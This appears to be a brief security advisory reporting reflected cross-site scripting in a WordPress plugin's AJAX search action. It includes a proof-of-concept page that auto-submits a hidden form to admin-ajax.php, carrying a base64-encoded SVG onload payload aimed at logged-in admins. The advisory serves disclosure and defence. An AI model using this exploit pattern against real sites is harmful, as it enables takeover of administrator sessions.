The plugin does not sanitise and escape a parameter before outputting it back in a response of an AJAX action, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open a page with the code below
<html>
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wd_search_cf"/>
<input type="hidden" name="wd_phrase" value="1" />
<input type="hidden" name="wd_args" value="eyJkZWxpbWl0ZXIiOiI8c3ZnL29ubG9hZD1hbGVydCgvWFNTLyk+In0=" />
<input type="hidden" name="asl_cf_search_nonce" value="1">
<input type="hidden" name="wd_required" value="1" />
</form>
</body>
</html>